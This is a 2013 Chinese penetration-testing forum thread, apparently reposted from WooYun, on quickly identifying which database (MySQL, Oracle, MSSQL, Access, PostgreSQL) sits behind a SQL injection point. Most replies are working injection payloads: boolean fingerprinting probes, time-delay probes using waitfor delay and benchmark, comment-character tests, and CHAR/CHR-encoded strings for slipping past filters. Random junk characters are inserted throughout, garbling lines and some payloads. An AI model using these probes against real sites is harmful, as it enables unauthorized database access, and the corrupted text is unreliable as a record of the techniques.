中国网络渗透测试联盟

标题: 一个注射点如何最快速确认是什么类型数据库 [打印本页]

作者: admin    时间: 2013-2-11 09:54
标题: 一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库" T# F" y0 |; h. G6 A( C1 Z
xsser (十根阳具有长短!!) | 2013-02-05 12:36
! |6 ^2 K. @& d3 t* x假设这么一个注射点:
* z/ H4 j. R+ ]/ d2 s' \+ Ishow.html?id=2! N( d! V9 @9 x2 U
mysql:id=2 and version()>0
" N- v2 w0 e" _, h0 J5 J  \oracle:id=2 and '1'||'1'='11! r0 f+ D! j+ H. i0 H/ z- q
其他的欢迎补充
0 ?; G$ i% T* a1#& n+ R' g$ [& {& P' O2 M9 ~8 l  @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
  t6 k7 t, M  Q3 V  mAccess:3 A9 C: P0 e! d6 b
aNd aSc(cHr(97))=97
( n3 i2 c% k( g6 q) ^* J8 o! G1 c0 P" \and exists(select id from MSysAccessObjects)
. |6 E! P% I& q6 Y  s4 dSQL Server:
+ O6 `. a" d( t# m- Yand exists(select id from sysobjects)$ F& Q! ?9 k  d# |* |) r' ]+ P5 Z
and length(user)>0; D5 W' A5 r1 Z: D) L) ^% B
MySQL:6 A* E5 ^; {, a
and length(user())>0
& L2 J  g3 _* m0 w6 b/ o7 s" j2#
/ z# }! T+ c9 Axsser (十根阳具有长短!!) | 2013-02-05 12:48
/ M; r: |2 {' Y8 H0 y% d) \@upload 如果这些都不是呢…
+ R0 _4 L! K: K' E  h6 q3## X3 Y% ]  v# c. {7 i8 ?9 w$ @
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
& S* c, `; ?" U3 o2 A- R1 L@xsser 不快速的,延时注入
7 ?! G8 W) J! X0 A不知道这样写对不对
# A, v: ~2 z% D0 i/ [mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
1 ]& i2 g  f5 d9 ~  _" t0 lmysql:id=2 and select benchmark(1e8,current_date());
* t$ `! h% a" T( z0 ?4#
9 ~2 C" @6 e3 i/ c# `' l: n. Aupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
" x0 [" }; u: G0 x+ z2 q! Q4 Z最快的貌似是看报错信息
$ I' z( v2 `+ w$ O( I% s% joracle error# n' @2 t- k( Y4 `/ v0 j- A! P' F
mssql error
2 l# o( ~9 t4 n2 kmysql error
$ ^/ L/ U$ [, ~0 z7 H) a% o5 t' K5#  G" H' _2 p! W8 q
Nimda (你们都是坏银~) | 2013-02-05 13:14
5 o: e% a: ^1 `小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
2 u5 b1 y, D+ m+ z9 [. Q& S' H$ g6#
( I! p7 u" [; I7 e' J6 Y: Rupload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
2 ?4 `( J" \! y0 J“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:/ r2 d- ^% G0 }* {5 p
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:# H0 t2 R; e6 D/ o1 R' R8 u' }
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
; l+ A3 \: Z& j. J- K  F7#" |2 L$ K1 K* E- X. d# ]
_Evil (HackEnd) | 2013-02-05 13:33
* `" B8 _+ b. |2 c+ L' `+ ~2 S7 J! zPostgreSQL
' z  f  }% ~" w6 L# e& a) e' ]8#7 B" n9 l, p' ]! q
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
; N1 A! V& g: C& O: `6 C# D# T切换编码 and 1=1
: j3 j& ?  A+ F; Z0 Ooracle:  ?7 ^5 J2 V; c+ m, @; y
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)* P2 s9 G( ~3 |/ Q+ V! _
mssql:
' m; r2 D6 G/ w  G# \6 h# ZCHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
" r% i# r( `3 u; Rmysql:
" |+ ]. I4 v: V$ lCHAR(97, 110, 100, 32, 49, 61, 49)8 A3 Z8 s) \6 X3 H/ @
9#; m) O  i- g6 _; u; L# d( `# X
xsser (十根阳具有长短!!) | 2013-02-05 14:31
5 ~  H- }. m* k9 X: C" g- U@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
7 h( t1 L8 J' a+ e4 {7 a, ^- ^; V10#' v5 ]9 j6 y2 v2 ~
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
# {) I( f1 O$ r3 L, o@xsser 是奇葩数据库类型的么?2 }: y. `* T. g4 ]/ B% r! {
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:- C7 }' U- {) D7 E, U9 _, _" `/ p( f
1.是否可以使用特定的函数来判断,该数据库特有的
0 v: _- P% `! P% @  S* T; r2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
8 Y  H6 R2 y: R  J8 V. b) F3.是否可以编码查询/ P. z0 t) K( k. A) U0 u. x% M# \
4.是否显可以利用错信息1 a( Z7 `' b' c, j# J
5.是否存在数据库某些特性辅助判断$ {' H* [! j7 D: N, Z
个人见解
! }& ~- b8 [* p& ?- |11#
0 i8 ]* W# i( E4 W' ^4 _1 F& C( e3 l小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55+ [6 l2 t4 Q9 V1 `
已收藏,mssql可以直接看到错误提示的吧~
& ]! A( c7 G+ {12#2 A) T! f. }+ m7 z
Passer_by | 2013-02-05 15:09
* M  z2 ^1 P6 M5 f3 d! d曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。5 V# w6 R" o& g! s; t8 S9 `
from:http://zone.wooyun.org/content/260




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2